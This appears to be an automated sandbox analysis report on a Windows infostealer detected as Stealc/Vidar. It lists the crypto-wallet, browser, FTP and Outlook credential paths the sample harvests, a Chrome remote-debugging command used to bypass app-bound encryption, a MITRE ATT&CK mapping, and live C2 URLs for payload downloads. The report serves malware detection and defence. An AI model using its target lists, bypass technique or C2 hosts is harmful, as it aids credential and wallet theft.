Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6380, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2045377744.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2413840045.0000000000361000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2415050172.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6380, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6380, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	651 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	251 Virtualization/Sandbox Evasion	Proc Filesystem	251 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://msn.comXIDv10M	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php7	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dllU	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpA	100%	Avira URL Cloud	malware
http://185.215.113.206Z	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpim	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpS	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exe_	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	142.250.185.174	true	false	high
play.google.com	142.250.185.174	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	13.32.110.123	true	false	high
www.google.com	142.250.184.228	true	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
https://sb.scorecardresearch.com/b?rn=1732058361925&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=045B60278D93687D3610751B8C3B691E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://c.msn.com/c.gif?rnd=1732058361924&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=93ba126bd035450b89c4cab3de518f3d&activityId=93ba126bd035450b89c4cab3de518f3d&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=9E073CD59E374ED597FF7213122604B2&MUID=045B60278D93687D3610751B8C3B691E	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732058364933&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://play.google.com/log?format=json&hasfast=true	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732058361922&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2278211462.000000002345C000.00000004.00000020.00020000.00000000.sdmp, CBGCGDBK.0.dr, Web Data.7.dr, IECGIEBA.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.7.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2278211462.000000002345C000.00000004.00000020.00020000.00000000.sdmp, CBGCGDBK.0.dr, Web Data.7.dr, IECGIEBA.0.dr	false		high
http://www.broofa.com	chromecache_392.4.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://ntp.msn.com/0	000003.log0.7.dr	false		high
https://ntp.msn.com/_default	QuotaManager.7.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2436639774.00000000234B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, DHJECFCGHIDGHIDHDHIE.0.dr	false		high
https://www.last.fm/	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.7.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.7.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000017.00000002.3309117887.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllU	file.exe, 00000000.00000002.2415050172.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.7.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_395.4.dr	false		high
https://www.youtube.com	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://www.instagram.com	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2413840045.00000000004C7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	false		high
